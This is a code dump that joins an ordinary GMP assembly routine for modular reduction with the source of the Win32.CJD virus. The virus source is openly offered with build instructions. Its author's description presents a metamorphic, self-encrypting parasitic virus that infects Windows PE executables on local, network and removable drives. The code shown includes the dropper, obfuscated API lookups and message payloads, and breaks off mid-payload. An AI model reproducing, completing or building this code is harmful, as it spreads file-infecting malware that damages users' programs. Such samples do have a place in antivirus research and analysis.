36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 */
libtool/src/gmp-6.1.2/mpn/x86/pentium4/sse2/mod_1_4.asm
kroggen/aergo
1,602
88772
<reponame>kroggen/aergo dnl x86-32 mpn_mod_1s_4p for Pentium 4 and P6 models with SSE2 (i.e. 9,D,E,F). dnl Contributed to the GNU project by <NAME>. dnl Copyright 2009, 2010 Free Software Foundation, Inc. dnl This file is part of the GNU MP Library. dnl dnl The GNU MP Library is free software; you can redistribute it and/or modify dnl it under the terms of either: dnl dnl * the GNU Lesser General Public License as published by the Free dnl Software Foundation; either version 3 of the License, or (at your dnl option) any later version. dnl dnl or dnl dnl * the GNU General Public License as published by the Free Software dnl Foundation; either version 2 of the License, or (at your option) any dnl later version. dnl dnl or both in parallel, as here. dnl dnl The GNU MP Library is distributed in the hope that it will be useful, but dnl WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY dnl or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License dnl for more details. dnl dnl You should have received copies of the GNU General Public License and the dnl GNU Lesser General Public License along with the GNU MP Library. If not, dnl see https://www.gnu.org/licenses/. include(`../config.m4') C TODO: C * Optimize. The present code was written quite straightforwardly. C * Optimize post-loop reduction code. C * Write a cps function that uses sse2 insns. C cycles/limb C P6 model 0-8,10-12 - C P6 model 9 (Banias) ? C P6 model 13 (Dothan) 3.4 C P4 model 0-1 (Willamette) ? C P4 model 2 (Northwood) 4 C P4 model 3-4 (Prescott) 4.5 C INPUT PARAMETERS C ap sp + 4 C n sp + 8 C b sp + 12 C cps sp + 16 define(`B1modb', `%mm1') define(`B2modb', `%mm2') define(`B3modb', `%mm3') define(`B4modb', `%mm4') define(`B5modb', `%mm5') define(`ap', `%edx') define(`n', `%eax') ASM_START() TEXT ALIGN(16) PROLOGUE(mpn_mod_1s_4p) push %ebx mov 8(%esp), ap mov 12(%esp), n mov 20(%esp), %ecx movd 8(%ecx), B1modb movd 12(%ecx), B2modb movd 16(%ecx), B3modb movd 20(%ecx), B4modb movd 24(%ecx), B5modb mov n, %ebx lea -4(ap,n,4), ap and $3, %ebx je L(b0) cmp $2, %ebx jc L(b1) je L(b2) L(b3): movd -4(ap), %mm7 pmuludq B1modb, %mm7 movd -8(ap), %mm6 paddq %mm6, %mm7 movd (ap), %mm6 pmuludq B2modb, %mm6 paddq %mm6, %mm7 lea -24(ap), ap add $-3, n jz L(end) jmp L(top) L(b0): movd -8(ap), %mm7 pmuludq B1modb, %mm7 movd -12(ap), %mm6 paddq %mm6, %mm7 movd -4(ap), %mm6 pmuludq B2modb, %mm6 paddq %mm6, %mm7 movd (ap), %mm6 pmuludq B3modb, %mm6 paddq %mm6, %mm7 lea -28(ap), ap add $-4, n jz L(end) jmp L(top) L(b1): movd (ap), %mm7 lea -16(ap), ap dec n jz L(x) jmp L(top) L(b2): movd -4(ap), %mm7 C rl punpckldq (ap), %mm7 C rh lea -20(ap), ap add $-2, n jz L(end) ALIGN(8) L(top): movd 4(ap), %mm0 pmuludq B1modb, %mm0 movd 0(ap), %mm6 paddq %mm6, %mm0 movd 8(ap), %mm6 pmuludq B2modb, %mm6 paddq %mm6, %mm0 movd 12(ap), %mm6 pmuludq B3modb, %mm6 paddq %mm6, %mm0 movq %mm7, %mm6 psrlq $32, %mm7 C rh pmuludq B5modb, %mm7 pmuludq B4modb, %mm6 paddq %mm0, %mm7 paddq %mm6, %mm7 add $-16, ap add $-4, n jnz L(top) L(end): pcmpeqd %mm4, %mm4 psrlq $32, %mm4 C 0x00000000FFFFFFFF pand %mm7, %mm4 C rl psrlq $32, %mm7 C rh pmuludq B1modb, %mm7 C rh,cl paddq %mm4, %mm7 C rh,rl L(x): movd 4(%ecx), %mm4 C cnt psllq %mm4, %mm7 C rh,rl normalized movq %mm7, %mm2 C rl in low half psrlq $32, %mm7 C rh movd (%ecx), %mm1 C bi pmuludq %mm7, %mm1 C qh,ql paddq %mm2, %mm1 C qh-1,ql movd %mm1, %ecx C ql psrlq $32, %mm1 C qh-1 movd 16(%esp), %mm3 C b pmuludq %mm1, %mm3 C (qh-1) * b psubq %mm3, %mm2 C r in low half (could use psubd) movd %mm2, %eax C r mov 16(%esp), %ebx sub %ebx, %eax C r cmp %eax, %ecx lea (%eax,%ebx), %edx cmovc( %edx, %eax) movd %mm4, %ecx C cnt cmp %ebx, %eax jae L(fix) emms pop %ebx shr %cl, %eax ret L(fix): sub %ebx, %eax emms pop %ebx shr %cl, %eax ret EPILOGUE() ALIGN(16) PROLOGUE(mpn_mod_1s_4p_cps) C CAUTION: This is the same code as in k7/mod_1_4.asm push %ebp push %edi push %esi push %ebx mov 20(%esp), %ebp C FIXME: avoid bp for 0-idx mov 24(%esp), %ebx bsr %ebx, %ecx xor $31, %ecx sal %cl, %ebx C b << cnt mov %ebx, %edx not %edx mov $-1, %eax div %ebx xor %edi, %edi sub %ebx, %edi mov $1, %esi mov %eax, (%ebp) C store bi mov %ecx, 4(%ebp) C store cnt shld %cl, %eax, %esi imul %edi, %esi mov %eax, %edi mul %esi add %esi, %edx shr %cl, %esi mov %esi, 8(%ebp) C store B1modb not %edx imul %ebx, %edx lea (%edx,%ebx), %esi cmp %edx, %eax cmovnc( %edx, %esi) mov %edi, %eax mul %esi add %esi, %edx shr %cl, %esi mov %esi, 12(%ebp) C store B2modb not %edx imul %ebx, %edx lea (%edx,%ebx), %esi cmp %edx, %eax cmovnc( %edx, %esi) mov %edi, %eax mul %esi add %esi, %edx shr %cl, %esi mov %esi, 16(%ebp) C store B3modb not %edx imul %ebx, %edx lea (%edx,%ebx), %esi cmp %edx, %eax cmovnc( %edx, %esi) mov %edi, %eax mul %esi add %esi, %edx shr %cl, %esi mov %esi, 20(%ebp) C store B4modb not %edx imul %ebx, %edx add %edx, %ebx cmp %edx, %eax cmovnc( %edx, %ebx) shr %cl, %ebx mov %ebx, 24(%ebp) C store B5modb pop %ebx pop %esi pop %edi pop %ebp ret EPILOGUE()
Win32/Win32.CJD/Win32.CJD.asm
fengjixuchui/Family
3
101343
; ; ; CREUTZFELDT-JAKOB DISEASE BioCoded by Neurobasher/Germany ; --------------------------------------------------------- ; ; ; ; ; Index: ; ------ ; ; 1 - About the biological version ; 2 - Author's description ; 3 - [WIN32.CJD] source code ; ; ; ; ; 1 - About the biological version ; -------------------------------- ; ; ;--------------------------------------- ;What is Bovine Spongiform Encephalopaty ;--------------------------------------- ; ;BSE is a progressive, fatal neurologic disorder of cattle and is classified as one of the transmissible ;spongiform encephalopathies, a group of diseases of animals and humans believed to be caused by abnormally ;folded proteins called prions. The disease itself is known since 1920 and is often called the 'mad cow disease'. ;BSE was first identified in 1986 in the United Kingdom (UK), where it caused a large outbreak ;among cattle. Although the source of the BSE epizootic agent is uncertain, feeding cattle BSE-contaminated ;meat-and-bone meal is the major contributory factor to the amplification of BSE among cattle. Since 1986, ;BSE cases have been identified in 20 European countries, Japan, Israel, and Canada. ; ;The appearance of the new variant of CJD in several younger than average people in Great Britain and France ;has led to concern that BSE may be transmitted to humans through consumption of contaminated beef. Although ;laboratory tests have shown a strong similarity between the prions causing BSE and CJD, there is no direct ;proof to support this theory. ; ;---------------------------------- ;What is Creutzfeldt-Jakob Disease? ;---------------------------------- ; ;Creutzfeldt-Jakob disease (CJD) is a rare, degenerative, invariably fatal brain disorder. ;Typically, onset of symptoms occurs at about age 60.. There are three major categories of CJD: ;sporadic CJD, hereditary CJD, and acquired CJD. There is currently no single diagnostic test for CJD. ;The first concern is to rule out treatable forms of dementia such as encephalitis or chronic meningitis. ;The only way to confirm a diagnosis of CJD is by brain biopsy or autopsy. In a brain biopsy, ;a neurosurgeon removes a small piece of tissue from the patient's brain so that is can be examined ;by a neurologist. Because a correct diagnosis of CJD does not help the patient, a brain biopsy ;is discouraged unless it is need to rule out a treatable disorder. While CJD can be transmitted to ;other people, the risk of this happening is extremely small. ; ;There is no treatment that can cure or control CJD. Current treatment is aimed at alleviating symptoms ;and making the patient as comfortable as possible. Opiate drugs can help relieve pain, and the drugs ;clonazepam and sodium valproate may help relieve involuntary muscle jerks. ; ;About 90 percent of patients die within 1 year. In the early stages of disease, patients may have ;failing memory, behavioral changes, lack of coordination and visual disturbances. As the illness progresses, ;mental deterioration becomes pronounced and involuntary movements, blindness, weakness of extremities, ;and coma may occur. ; ;The leading scientific theory at this time maintains that CJD is caused by a type of protein called a prion. ;The harmless and the infectious forms of the prion protein are nearly identical, but the infectious form ;takes a different folded shape than the normal protein. Researchers are examining whether the transmissible ;agent is, in fact, a prion and trying to discover factors that influence prion infectivity and how the disorder ;damages the brain. Using rodent models of the disease and brain tissue from autopsies, they are also trying to ;identify factors that influence the susceptibility to the disease and that govern when in life the disease appears. ; ; ; ; 2 - Authors description ; ----------------------- ; ;It is a very complex parasitic highly polymorphic Win32 virus that uses the entry-point ;obscuring technique. ;The virus uses a metamorphic engine and permutates its code. ;The virus infects Windows executable files (Win32 PE EXE). When run ;the virus searches for these files and randomly infects them by different infection sheme. ;The virus searches for Win32 PE executable files in the current and five levels upper ;directories, also on the available network and removable media and in the directories if ;their names not begin with "W", and infects them. The virus doesn't infect files if their ;names begin with several suspicious caracters like anti*,... ; ;or if the name contains the 'V' letter, and depending on the random counter value. ;While infecting files the virus rebuilds and encrypts its body and writes it to one of the ;host file's sections. Then, it searches for and replaces one of the calls to the ;"ExitProcess" function in the host's code section with the call to the viral code. ;Several functions depends on randomness and are mutated from generation to generation also. ; ;Payload ;Depending on the system date the virus displays various messages ;There's a really small chance the virus allows multipe infections of the files. ;This files were corrupted and won't work anymore. ; ; ; 3 - Win32 source code ; --------------------- ; bugfixed vers. ; ; To get first generation file use TASM 5.0r ; c:\tasm32 -ml -m9 -q cjdiseae.asm ; c:\tlink32 -Tpe -c -x -aa -r cjdisease.obj,,,import32 ; .386p .model flat locals .code ret .data AddressToFree dd 0 extrn ExitProcess:PROC extrn VirtualAlloc:PROC extrn VirtualFree:PROC extrn GetModuleHandleA:PROC extrn GetProcAddress:PROC extrn MessageBoxA:PROC PreMain proc push 4 push 1000h push 350000h push 0 call VirtualAlloc or eax, eax jz @@Error mov ebp, eax mov [AddressToFree], eax mov ebx, eax mov esi, offset Main mov edi, eax mov ecx, offset EndOfCode sub ecx, offset Main rep movsb ; Copy virus push __DISASM2_SECTION push __DATA_SECTION push __BUFFERS_SECTION push __DISASM_SECTION push __CODE_SECTION mov eax, offset GetProcAddress mov eax, [eax+2] push eax mov eax, offset GetModuleHandleA mov eax, [eax+2] push eax push 5*2 ; Bit 0=0: 'A', 1 call ebx push 0C000h push 0 push dword ptr [AddressToFree] call VirtualFree @@Error: push 0 jmp @@Dropper title: db ' [Win32.CJD] was done by <<<NEUROBASHER/GERMANY>>> ',0 body: db ' Creutzfeldt-Jakob Disease ',0ah,0dh db ' rare, degenerative, invariably fatal brain disorder. ',0ah,0dh db ' ------------- ',0ah,0dh db ' [BSE] Bovine Spongiform Encephalopaty ',0ah,0dh db ' well known as mad-cow-disease ',0ah,0dh db ' ',0ah,0dh db ' f i r s t g e n e r a t i o n e x e c u t e d . . . ',0 @@Dropper: push 0h push offset title push offset body push 0h call MessageBoxA push 0h call ExitProcess PreMain endp __CODE_SECTION EQU 000000h __DISASM_SECTION EQU 100000h __BUFFERS_SECTION EQU 080000h __LABEL_SECTION EQU __BUFFERS_SECTION + 00000h __VARIABLE_SECTION EQU __BUFFERS_SECTION + 10000h __BUFFER1_SECTION EQU __BUFFERS_SECTION + 20000h __BUFFER2_SECTION EQU __BUFFERS_SECTION + 30000h __VAR_MARKS_SECTION EQU __BUFFERS_SECTION + 40000h __DATA_SECTION EQU 0E0000h __DISASM2_SECTION EQU 200000h NumberOfLabels EQU __DATA_SECTION + 0000h NumberOfInstructions EQU __DATA_SECTION + 0008h InstructionTable EQU __DATA_SECTION + 0010h LabelTable EQU __DATA_SECTION + 0018h FutureLabelTable EQU __DATA_SECTION + 0020h PathMarksTable EQU __DATA_SECTION + 0028h NumberOfLabelsPost EQU __DATA_SECTION + 0030h AddressOfLastInstruction EQU __DATA_SECTION + 0038h VariableTable EQU __DATA_SECTION + 0040h NumberOfVariables EQU __DATA_SECTION + 0048h FramesTable EQU __DATA_SECTION + 0050h PermutationResult EQU __DATA_SECTION + 0058h JumpsTable EQU __DATA_SECTION + 0060h AddressOfLastFrame EQU __DATA_SECTION + 0068h PositionOfFirstInstruction EQU __DATA_SECTION + 0070h MODValue EQU __DATA_SECTION + 0078h NumberOfJumps EQU __DATA_SECTION + 0080h RndSeed1 EQU __DATA_SECTION + 0088h RndSeed2 EQU __DATA_SECTION + 0090h ExpansionResult EQU __DATA_SECTION + 0098h Register8Bits EQU __DATA_SECTION + 00A0h Xp_Register0 EQU __DATA_SECTION + 00A8h Xp_Register1 EQU __DATA_SECTION + 00B0h Xp_Register2 EQU __DATA_SECTION + 00B8h Xp_Register3 EQU __DATA_SECTION + 00C0h Xp_Register4 EQU __DATA_SECTION + 00C8h Xp_Register5 EQU __DATA_SECTION + 00D0h Xp_Register6 EQU __DATA_SECTION + 00D8h Xp_Register7 EQU __DATA_SECTION + 00E0h DeltaRegister EQU __DATA_SECTION + 00E8h Xp_8Bits EQU __DATA_SECTION + 00F0h Xp_Operation EQU __DATA_SECTION + 00F8h Xp_Register EQU __DATA_SECTION + 0100h Xp_Mem_Index1 EQU __DATA_SECTION + 0108h Xp_Mem_Index2 EQU __DATA_SECTION + 0110h Xp_Mem_Addition EQU __DATA_SECTION + 0118h Xp_Immediate EQU __DATA_SECTION + 0120h Xp_SrcRegister EQU __DATA_SECTION + 0128h Xp_FlagRegOrMem EQU __DATA_SECTION + 0130h Xp_RecurseLevel EQU __DATA_SECTION + 0138h Xp_LEAAdditionFlag EQU __DATA_SECTION + 0140h VarMarksTable EQU __DATA_SECTION + 0148h _BUFFERS_SECTION EQU __DATA_SECTION + 0150h _CODE_SECTION EQU __DATA_SECTION + 0158h _DISASM_SECTION EQU __DATA_SECTION + 0160h _LABEL_SECTION EQU __DATA_SECTION + 0168h _VARIABLE_SECTION EQU __DATA_SECTION + 0170h _BUFFER1_SECTION EQU __DATA_SECTION + 0178h _BUFFER2_SECTION EQU __DATA_SECTION + 0180h _VAR_MARKS_SECTION EQU __DATA_SECTION + 0188h _DATA_SECTION EQU __DATA_SECTION + 0190h _DISASM2_SECTION EQU __DATA_SECTION + 0198h New_CODE_SECTION EQU __DATA_SECTION + 01A0h New_DISASM_SECTION EQU __DATA_SECTION + 01A8h New_BUFFERS_SECTION EQU __DATA_SECTION + 01B0h ; New_LABEL_SECTION EQU __DATA_SECTION + 01B0h ; New_VARIABLE_SECTION EQU __DATA_SECTION + 01B8h ; New_BUFFER1_SECTION EQU __DATA_SECTION + 01C0h ; New_BUFFER2_SECTION EQU __DATA_SECTION + 01C8h ; New_VAR_MARKS_SECTION EQU __DATA_SECTION + 01D0h New_DATA_SECTION EQU __DATA_SECTION + 01D8h New_DISASM2_SECTION EQU __DATA_SECTION + 01E0h RVA_GetModuleHandle EQU __DATA_SECTION + 01E8h RVA_GetProcAddress EQU __DATA_SECTION + 01F0h FlagAorW EQU __DATA_SECTION + 01F8h ReturnValue EQU __DATA_SECTION + 0200h hKernel EQU __DATA_SECTION + 0208h hUser32 EQU __DATA_SECTION + 0210h RVA_CreateFileA EQU __DATA_SECTION + 0218h RVA_CreateFileMappingA EQU __DATA_SECTION + 0220h RVA_MapViewOfFile EQU __DATA_SECTION + 0228h RVA_UnmapViewOfFile EQU __DATA_SECTION + 0230h RVA_GetFileSize EQU __DATA_SECTION + 0238h RVA_GetFileAttributesA EQU __DATA_SECTION + 0240h RVA_SetFileAttributesA EQU __DATA_SECTION + 0248h RVA_SetFilePointer EQU __DATA_SECTION + 0250h RVA_SetFileTime EQU __DATA_SECTION + 0258h RVA_SetEndOfFile EQU __DATA_SECTION + 0260h RVA_FindFirstFileA EQU __DATA_SECTION + 0268h RVA_FindNextFileA EQU __DATA_SECTION + 0270h RVA_FindClose EQU __DATA_SECTION + 0278h RVA_CloseHandle EQU __DATA_SECTION + 0280h RVA_MessageBoxA EQU __DATA_SECTION + 0288h NewLabelTable EQU __DATA_SECTION + 0290h Asm_ByteToSort EQU __DATA_SECTION + 0298h JumpRelocationTable EQU __DATA_SECTION + 02A0h NumberOfJumpRelocations EQU __DATA_SECTION + 02A8h Permut_LastInstruction EQU __DATA_SECTION + 02B0h TranslatedDeltaRegister EQU __DATA_SECTION + 02B8h hFile EQU __DATA_SECTION + 02C0h FileSize EQU __DATA_SECTION + 02C8h OriginalFileSize EQU __DATA_SECTION + 02D0h hMapping EQU __DATA_SECTION + 02D8h MappingAddress EQU __DATA_SECTION + 02E0h HeaderAddress EQU __DATA_SECTION + 02E8h StartOfSectionHeaders EQU __DATA_SECTION + 02F0h RelocHeader EQU __DATA_SECTION + 02F8h TextHeader EQU __DATA_SECTION + 0300h DataHeader EQU __DATA_SECTION + 0308h RVA_TextHole EQU __DATA_SECTION + 0310h Phys_TextHole EQU __DATA_SECTION + 0318h TextHoleSize EQU __DATA_SECTION + 0320h RVA_DataHole EQU __DATA_SECTION + 0328h Phys_DataHole EQU __DATA_SECTION + 0330h MakingFirstHole EQU __DATA_SECTION + 0338h ExitProcessAddress EQU __DATA_SECTION + 0340h GetModuleHandleAddress EQU __DATA_SECTION + 0348h GetProcAddressAddress EQU __DATA_SECTION + 0350h VirtualAllocAddress EQU __DATA_SECTION + 0358h GetModuleHandleMode EQU __DATA_SECTION + 0360h VirtualPositionOfVar EQU __DATA_SECTION + 0368h PhysicalPositionOfVar EQU __DATA_SECTION + 0370h Kernel32Imports EQU __DATA_SECTION + 0378h hFindFile EQU __DATA_SECTION + 0380h Addr_FilePath EQU __DATA_SECTION + 0388h FileAttributes EQU __DATA_SECTION + 0390h SizeOfNewCode EQU __DATA_SECTION + 0398h FindFileData EQU __DATA_SECTION + 03A0h OtherBuffers EQU __DATA_SECTION + 03A8h RoundedSizeOfNewCode EQU __DATA_SECTION + 03B0h NewAssembledCode EQU __DATA_SECTION + 03B8h NumberOfUndoActions EQU __DATA_SECTION + 03C0h LastHeader EQU __DATA_SECTION + 03C8h MaxSizeOfDecryptor EQU __DATA_SECTION + 03D0h CreatingADecryptor EQU __DATA_SECTION + 03D8h DecryptorPseudoCode EQU __DATA_SECTION + 03E0h AssembledDecryptor EQU __DATA_SECTION + 03E8h Decryptor_DATA_SECTION EQU __DATA_SECTION + 03F0h SizeOfExpansion EQU __DATA_SECTION + 03F8h SizeOfDecryptor EQU __DATA_SECTION + 0400h TypeOfEncryption EQU __DATA_SECTION + 0408h EncryptionKey EQU __DATA_SECTION + 0410h IndexValue EQU __DATA_SECTION + 0418h IndexRegister EQU __DATA_SECTION + 0420h BufferRegister EQU __DATA_SECTION + 0428h CounterRegister EQU __DATA_SECTION + 0430h BufferValue EQU __DATA_SECTION + 0438h CounterValue EQU __DATA_SECTION + 0440h Poly_FirstPartOfFunction EQU __DATA_SECTION + 0448h Poly_SecondPartOfFunction EQU __DATA_SECTION + 0450h Poly_ThirdPartOfFunction EQU __DATA_SECTION + 0458h AdditionToBuffer EQU __DATA_SECTION + 0460h Poly_Jump_ErrorInVirtualAlloc EQU __DATA_SECTION+0468h ;Index2Register EQU __DATA_SECTION + 0470h Poly_LoopLabel EQU __DATA_SECTION + 0478h RVA_GetSystemTime EQU __DATA_SECTION + 0480h RVA_GetTickCount EQU __DATA_SECTION + 0488h RVA_GetDriveTypeA EQU __DATA_SECTION + 0490h RVA_GetLogicalDriveStringsA EQU __DATA_SECTION + 0498h RVA_SetCurrentDirectoryA EQU __DATA_SECTION + 04A0h StartOfEncryptedData EQU __DATA_SECTION + 04A8h SizeOfNewCodeP2 EQU __DATA_SECTION + 04B0h Poly_InitialValue EQU __DATA_SECTION + 04B8h Poly_Addition EQU __DATA_SECTION + 04C0h Poly_ExcessJumpInstruction EQU __DATA_SECTION + 04C8h DirectoryDeepness EQU __DATA_SECTION + 04D0h RVA_GetSystemDefaultLCID EQU __DATA_SECTION + 04D8h Poly_JumpRandomExecution EQU __DATA_SECTION + 04E0h Main proc ; EBP = Delta offset pop ebx pop eax mov ecx, eax and eax, 1 mov [ebp+FlagAorW], eax and ecx, 0FFFFFFFEh shr ecx, 1 mov [ebp+DeltaRegister], ecx pop eax mov eax, [eax] mov [ebp+RVA_GetModuleHandle], eax pop eax mov eax, [eax] mov [ebp+RVA_GetProcAddress], eax pop eax and eax, 03FFFFFh mov [ebp+_CODE_SECTION], eax pop eax and eax, 03FFFFFh mov [ebp+_DISASM_SECTION], eax pop eax and eax, 03FFFFFh mov [ebp+_BUFFERS_SECTION], eax mov [ebp+_LABEL_SECTION], eax add eax, 10000h mov [ebp+_VARIABLE_SECTION], eax add eax, 10000h mov [ebp+_BUFFER1_SECTION], eax add eax, 10000h mov [ebp+_BUFFER2_SECTION], eax add eax, 10000h mov [ebp+_VAR_MARKS_SECTION], eax pop eax and eax, 03FFFFFh mov [ebp+_DATA_SECTION], eax pop eax and eax, 03FFFFFh mov [ebp+_DISASM2_SECTION], eax push ebx ; Restore return value mov edx, [ebp+_BUFFER1_SECTION] add edx, ebp push eax push ecx push edx ; APICALL_BEGIN mov eax, 'nrek' mov [edx], eax mov eax, '23le' mov [edx+4], eax mov eax, 'lld.' mov [edx+8], eax xor eax, eax mov [edx+0Ch], eax call APICall_GetModuleHandle pop edx pop ecx pop eax mov eax, [ebp+ReturnValue] or eax, eax jz @@Error mov [ebp+hKernel], eax push eax push ecx push edx mov eax, 'resu' mov [edx], eax mov eax, 'd.23' mov [edx+4], eax mov eax, 'll' mov [edx+8], eax call APICall_GetModuleHandle pop edx pop ecx pop eax mov eax, [ebp+ReturnValue] mov [ebp+hUser32], eax mov edx, [ebp+_BUFFER1_SECTION] add edx, ebp mov edi, [ebp+hKernel] mov eax, 'aerC' mov [edx], eax mov eax, 'iFet' mov [edx+4], eax mov eax, 'Ael' mov [edx+8], eax call GetFunction or eax, eax jz @@Error mov [ebp+RVA_CreateFileA], eax mov eax, 'ppaM' mov [edx+0Ah], eax mov eax, 'Agni' mov [edx+0Eh], eax xor eax, eax mov [edx+12h], eax call GetFunction or eax, eax jz @@Error mov [ebp+RVA_CreateFileMappingA], eax add edx, 2 mov eax, 'VpaM' mov [edx], eax mov eax, 'Owei' mov [edx+4], eax mov eax, 'liFf' mov [edx+8], eax mov eax, 'e' mov [edx+0Ch], eax call GetFunction or eax, eax jz @@Error mov [ebp+RVA_MapViewOfFile], eax sub edx, 2 mov eax, 'amnU' mov [edx], eax call GetFunction or eax, eax jz @@Error mov [ebp+RVA_UnmapViewOfFile], eax mov eax, 'SteG' mov [edx], eax mov eax, 'etsy' mov [edx+4], eax mov eax, 'miTm' mov [edx+8], eax mov eax, 'e' mov [edx+0Ch], eax call GetFunction or eax, eax jz @@Error mov [ebp+RVA_GetSystemTime], eax mov eax, 'virD' mov [edx+3], eax mov eax, 'pyTe' mov [edx+7], eax mov eax, 'Ae' mov [edx+0Bh], eax call GetFunction or eax, eax jz @@Error mov [ebp+RVA_GetDriveTypeA], eax mov eax, 'igoL' mov [edx+3], eax mov eax, 'Dlac' mov [edx+7], eax mov eax, 'evir' mov [edx+0Bh], eax mov eax, 'irtS' mov [edx+0Fh], eax mov eax, 'Asgn' mov [edx+13h], eax xor eax, eax mov [edx+17h], eax call GetFunction or eax, eax jz @@Error mov [ebp+RVA_GetLogicalDriveStringsA], eax mov eax, 'tsyS' mov [edx+3], eax mov eax, 'eDme' mov [edx+7], eax mov eax, 'luaf' mov [edx+0Bh], eax mov eax, 'ICLt' mov [edx+0Fh], eax mov eax, 'D' mov [edx+13h], eax call GetFunction or eax, eax jz @@Error mov [ebp+RVA_GetSystemDefaultLCID], eax mov eax, 'CteS' mov [edx], eax mov eax, 'erru' mov [edx+4], eax mov eax, 'iDtn' mov [edx+8], eax mov eax, 'tcer' mov [edx+0Ch], eax mov eax, 'Ayro' mov [edx+10h], eax xor eax, eax mov [edx+14h], eax call GetFunction or eax, eax jz @@Error mov [ebp+RVA_SetCurrentDirectoryA], eax mov eax, 'FteG' mov [edx], eax mov eax, 'Seli' mov [edx+4], eax mov eax, 'ezi' mov [edx+8], eax call GetFunction or eax, eax jz @@Error mov [ebp+RVA_GetFileSize], eax mov eax, 'rttA' mov [edx+7], eax mov eax, 'tubi' mov [edx+0Bh], eax mov eax, 'Ase' mov [edx+0Fh], eax call GetFunction or eax, eax jz @@Error mov [ebp+RVA_GetFileAttributesA], eax mov eax, 'FteS' mov [edx], eax call GetFunction or eax, eax jz @@Error mov [ebp+RVA_SetFileAttributesA], eax mov eax, 'nioP' mov [edx+7], eax mov eax, 'ret' mov [edx+0Bh], eax call GetFunction or eax, eax jz @@Error mov [ebp+RVA_SetFilePointer], eax mov eax, 'emiT' mov [edx+7], eax xor eax, eax mov [edx+0Bh], eax call GetFunction or eax, eax jz @@Error mov [ebp+RVA_SetFileTime], eax mov eax, 'OdnE' mov [edx+3], eax mov eax, 'liFf' mov [edx+7], eax mov eax, 'e' mov [edx+0Bh], eax call GetFunction or eax, eax jz @@Error mov [ebp+RVA_SetEndOfFile], eax mov eax, 'dniF' mov [edx], eax mov eax, 'sriF' mov [edx+4], eax mov eax, 'liFt' mov [edx+8], eax mov eax, 'Ae' mov [edx+0Ch], eax call GetFunction or eax, eax jz @@Error mov [ebp+RVA_FindFirstFileA], eax mov eax, 'txeN' mov [edx+4], eax mov eax, 'eliF' mov [edx+8], eax mov eax, 'A' mov [edx+0Ch], eax call GetFunction or eax, eax jz @@Error mov [ebp+RVA_FindNextFileA], eax mov eax, 'solC' mov [edx+4], eax mov eax, 'e' mov [edx+8], eax call GetFunction or eax, eax jz @@Error mov [ebp+RVA_FindClose], eax add edx, 4 mov eax, 'dnaH' mov [edx+5], eax mov eax, 'el' mov [edx+9], eax call GetFunction or eax, eax jz @@Error mov [ebp+RVA_CloseHandle], eax sub edx, 4 mov edi, [ebp+hUser32] mov eax, 'sseM' mov [edx], eax mov eax, 'Bega' mov [edx+4], eax mov eax, 'Axo' mov [edx+8], eax call GetFunction mov [ebp+RVA_MessageBoxA], eax push eax push ecx push edx mov eax, [ebp+_BUFFER1_SECTION] add eax, ebp push eax call dword ptr [ebp+RVA_GetSystemTime] pop edx pop ecx pop eax mov ebx, [ebp+_BUFFER1_SECTION] add ebx, ebp mov eax, [ebx+04h] add eax, [ebx+0Ch] mov [ebp+RndSeed1], eax add eax, [ebx+08h] mov [ebp+RndSeed2], eax mov eax, [ebp+RVA_MessageBoxA] or eax, eax jz @@NoPayload ;; Simple, silly MessageBox with a partly metamorphic message :) mov edx, [ebp+_BUFFER1_SECTION] add edx, ebp mov eax, [edx+2] and eax, 0FFh @@ChoosePayload: call Random and eax, 3 cmp eax, 1 je @@CheckPayload cmp eax, 2 je @@CheckPayload2 cmp eax, 3 je @@CheckPayload3 cmp eax, 0 je @@EndPayload @@CheckPayload: call Random and eax, 03Fh jnz @@EndPayload push edx call Random and eax, 00000000h add eax, 'DJC[' ;; "[CJD" mov [edx], eax add edx, 4 call Random and eax, 20200000h add eax, 'RC ]' ;; "] CR" mov [edx], eax add edx, 4 call Random and eax, 20202020h add eax, 'ZTUE' ;; "EUTZ" mov [edx], eax add edx, 4 call Random and eax, 20202020h add eax, 'DLEF' ;; "FELD" mov [edx], eax add edx, 4 call Random and eax, 20200020h add eax, 'AJ-T' ;; "T-JA" mov [edx], eax add edx, 4 call Random and eax, 00202020h add eax, ' BOK' ;; "KOB " mov [edx], eax add edx, 4 call Random and eax, 20202020h add eax, 'ESID' ;; "DISE" mov [edx], eax add edx, 4 call Random and eax, 00202020h add eax, ' ESA' ;; "ASE " mov [edx], eax call Random and eax, 2 jnz @@TruncatePayload add edx, 4 call Random and eax, 00000000h add eax, ' )c(' ;; " (c)" mov [edx], eax add edx, 4 call Random and eax, 00000000h add eax, 'N yb' ;; "by N" mov [edx], eax add edx, 4 call Random and eax, 00000000h add eax, 'orue' ;; "euro" mov [edx], eax add edx, 4 call Random and eax, 00000000h add eax, 'hsab' ;; "bash" mov [edx], eax add edx, 4 call Random and eax, 00000000h add eax, 'G/re' ;; "er/G" mov [edx], eax add edx, 4 call Random and eax, 00000000h add eax, 'amre' ;; "erma" mov [edx], eax add edx, 4 call Random and eax, 00000000h add eax, ' yn' ;; "ny " mov [edx], eax @@TruncatePayload: pop edx ; "[CJD] Creutzfeldt-Jakob Disease" ; and sometimes "by Neurobasher/Germany" push eax ; first part with random upcases and lowcases. push ecx push edx xor eax, eax push eax mov eax, edx push eax push eax xor eax, eax push eax call dword ptr [ebp+RVA_MessageBoxA] pop edx pop ecx pop eax jmp @@EndPayload @@CheckPayload2: call Random and eax, 1FFh jnz @@CheckPayload3 push edx xor eax, eax call Random and eax, 20202020h add eax, 'IVOB' ;; "BOVI" mov [edx], eax add edx, 4 call Random and eax, 20002020h add eax, 'S EN' ;; "NE S" mov [edx], eax add edx, 4 call Random and eax, 20202020h add eax, 'GNOP' ;; "PONG" mov [edx], eax add edx, 4 call Random and eax, 20202020h add eax, 'ROFI' ;; "IFOR" mov [edx], eax add edx, 4 call Random and eax, 20002020h add eax, 'NE M' ;; "M EN" mov [edx], eax add edx, 4 call Random and eax, 20202020h add eax, 'HPEC' ;; "CEPH" mov [edx], eax add edx, 4 call Random and eax, 20202020h add eax, 'POLA' ;; "ALOP" mov [edx], eax add edx, 4 call Random and eax, 00202020h add eax, ' YTA' ;; "ATY " mov [edx], eax pop edx push eax push ecx push edx xor eax, eax push eax mov eax, edx push eax push eax xor eax, eax push eax call dword ptr [ebp+RVA_MessageBoxA] pop edx pop ecx pop eax @@CheckPayload3: call Random and eax, 1FFh 